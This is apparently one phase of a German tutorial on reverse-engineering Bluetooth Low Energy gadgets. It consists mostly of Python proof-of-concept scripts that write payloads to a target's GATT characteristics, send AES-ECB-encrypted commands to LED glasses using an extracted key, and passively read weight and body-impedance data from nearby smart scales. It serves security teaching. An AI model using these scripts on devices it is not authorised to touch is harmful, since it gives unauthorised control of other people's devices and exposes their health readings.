Phase 5: PoC-Entwicklung

# Virtuelle Umgebung erstellen (empfohlen)
python3 -m venv ble-poc-env
source ble-poc-env/bin/activate

# Bibliotheken installieren
pip install blatann==0.6.0
pip install pycryptodome==3.20.0   # Für AES-Operationen

# Installation prüfen
python3 -c "import blatann; print(blatann.__version__)"
# Ausgabe: 0.6.0

# In nRF Connect for Desktop: Programmer-App öffnen
# Connectivity-Firmware: connectivity_4.1.4_usb_with_s132_5.1.0.hex
# (Im blatann-Paket enthalten unter: blatann/sdk/connectivity/)

# Alternativ über pip-Paketpfad finden:
python3 -c "import blatann; import os; print(os.path.dirname(blatann.__file__))"

from blatann import BleDevice

# Konstanten aus Phase 1 und Phase 4
TARGET_MAC = "AA:BB:CC:DD:EE:FF"   # Aus Wireshark oder Phase 1
CHAR_UUID   = "0000ff01-0000-1000-8000-00805f9b34fb"  # Aus JADX
SERIAL_PORT = "/dev/ttyACM0"       # Linux; Windows: "COM3"

def exploit(port: str, target_mac: str) -> None:
    # 1. BLE-Gerät (nRF52840-Dongle) initialisieren
    ble_device = BleDevice(port)
    ble_device.open()

    # 2. Verbindung aufbauen (Timeout: 15 Sekunden)
    print(f"[*] Verbinde mit {target_mac}...")
    peer = ble_device.connect(target_mac).wait(timeout=15)

    if peer is None:
        print("[!] Verbindung fehlgeschlagen — Gerät in Reichweite?")
        ble_device.close()
        return

    # 3. GATT-Dienste und Charakteristiken entdecken
    print("[*] Entdecke GATT-Dienste...")
    peer.discover_services().wait(timeout=10)

    # 4. Ziel-Charakteristik finden
    char = peer.database.find_characteristic(CHAR_UUID)
    if char is None:
        print(f"[!] Charakteristik {CHAR_UUID} nicht gefunden")
        peer.disconnect().wait()
        ble_device.close()
        return

    # 5. Payload schreiben (exploit-spezifisch)
    payload = bytes([0x01, 0x02, 0x03])
    char.write(payload).wait(timeout=5)
    print(f"[+] Payload gesendet: {payload.hex()}")

    # 6. Aufräumen
    peer.disconnect().wait()
    ble_device.close()

if __name__ == "__main__":
    exploit(SERIAL_PORT, TARGET_MAC)

from blatann import BleDevice
from Crypto.Cipher import AES

# Aus Ghidra extrahiert (Phase 3) — hier absichtlich unvollständig
AES_KEY     = bytes.fromhex("AABBCCDDEEFF00112233445566778899")  # Beispiel
WRITE_UUID  = "0000ff02-0000-1000-8000-00805f9b34fb"
NOTIFY_UUID = "0000ff01-0000-1000-8000-00805f9b34fb"

def encrypt_command(key: bytes, plaintext: bytes) -> bytes:
    """AES-ECB-Verschlüsselung (kein IV, kein Nonce — ECB-Schwäche)."""
    cipher = AES.new(key, AES.MODE_ECB)
    # Auf 16-Byte-Block-Grenze auffüllen
    padded = plaintext.ljust(16, b'\x00')
    return cipher.encrypt(padded)

def send_text_to_glasses(port: str, mac: str, text: str) -> None:
    ble_device = BleDevice(port)
    ble_device.open()

    peer = ble_device.connect(mac).wait(timeout=15)
    peer.discover_services().wait()

    write_char  = peer.database.find_characteristic(WRITE_UUID)
    notify_char = peer.database.find_characteristic(NOTIFY_UUID)

    # Notifications aktivieren (für Challenge-Response)
    notify_char.subscribe(on_notification_received).wait()

    # LED-Matrix-Text-Befehl bauen und verschlüsseln
    # Protokollformat aus Phase 4: [0xAB, 0x00, len, ...text_bytes, checksum]
    text_bytes = text.encode("ascii")[:12]  # Max. 12 Zeichen
    cmd = bytes([0xAB, 0x00, len(text_bytes)]) + text_bytes
    encrypted = encrypt_command(AES_KEY, cmd)

    write_char.write(encrypted).wait()
    print(f"[+] Text '{text}' an LED-Brille gesendet")

    peer.disconnect().wait()
    ble_device.close()

7e [len] [opcode] [params...] ef

from blatann import BleDevice

# Aus Phase 1 (JADX): Einzige relevante Charakteristik
WRITE_UUID = "0000ffd9-0000-1000-8000-00805f9b34fb"

def build_color_cmd(r: int, g: int, b: int) -> bytes:
    """LED-Strip-Farbbefehl nach rekonstruiertem Protokoll (Phase 4)."""
    return bytes([0x7e, 0x07, 0x05, 0x03, r, g, b, 0x10, 0xef])

def set_led_color(port: str, mac: str, r: int, g: int, b: int) -> None:
    ble_device = BleDevice(port)
    ble_device.open()

    peer = ble_device.connect(mac).wait(timeout=15)
    peer.discover_services().wait()

    char = peer.database.find_characteristic(WRITE_UUID)
    payload = build_color_cmd(r, g, b)
    char.write(payload).wait()

    print(f"[+] Farbe gesetzt: RGB({r}, {g}, {b})")
    print(f"    Payload: {payload.hex()}")

    peer.disconnect().wait()
    ble_device.close()

# Beispiel: Brille auf Rot setzen
# set_led_color("/dev/ttyACM0", "AA:BB:CC:DD:EE:FF", 255, 0, 0)

from blatann import BleDevice
from blatann.gap.advertise_data import AdvertisingData

def parse_scale_advertisement(adv_data: bytes) -> dict:
    """
    Waagen-Advertisement-Payload dekodieren (Protokoll aus Phase 4).
    Manufacturer Specific Data (Type 0xFF), Company ID 0x05C0
    Offset 2-3: Gewicht in 0.01 kg-Einheiten
    Offset 4-5: Körperimpedanz in 0.1 Ohm-Einheiten
    """
    if len(adv_data) < 6:
        return {}

    weight_raw    = (adv_data[2] << 8) | adv_data[3]
    impedance_raw = (adv_data[4] << 8) | adv_data[5]

    return {
        "weight_kg":       weight_raw / 100.0,
        "impedance_ohm":   impedance_raw / 10.0,
    }

def scan_for_scale(port: str, scan_duration_s: int = 15) -> None:
    ble_device = BleDevice(port)
    ble_device.open()

    print(f"[*] Scanne {scan_duration_s}s nach Waagen-Advertisements...")

    # Scanner konfigurieren und starten
    scanner = ble_device.scanner
    scanner.start()

    import time
    time.sleep(scan_duration_s)

    for report in scanner.scan_reports:
        # Manufacturer Specific Data herausfiltern
        mfr_data = report.advertise_data.manufacturer_specific_data
        if mfr_data and mfr_data[:2] == bytes([0xC0, 0x05]):
            result = parse_scale_advertisement(mfr_data)
            if result:
                print(f"[+] Waage gefunden: {report.peer_address}")
                print(f"    Gewicht:     {result['weight_kg']:.2f} kg")
                print(f"    Impedanz:    {result['impedance_ohm']:.1f} Ohm")

    scanner.stop()
    ble_device.close()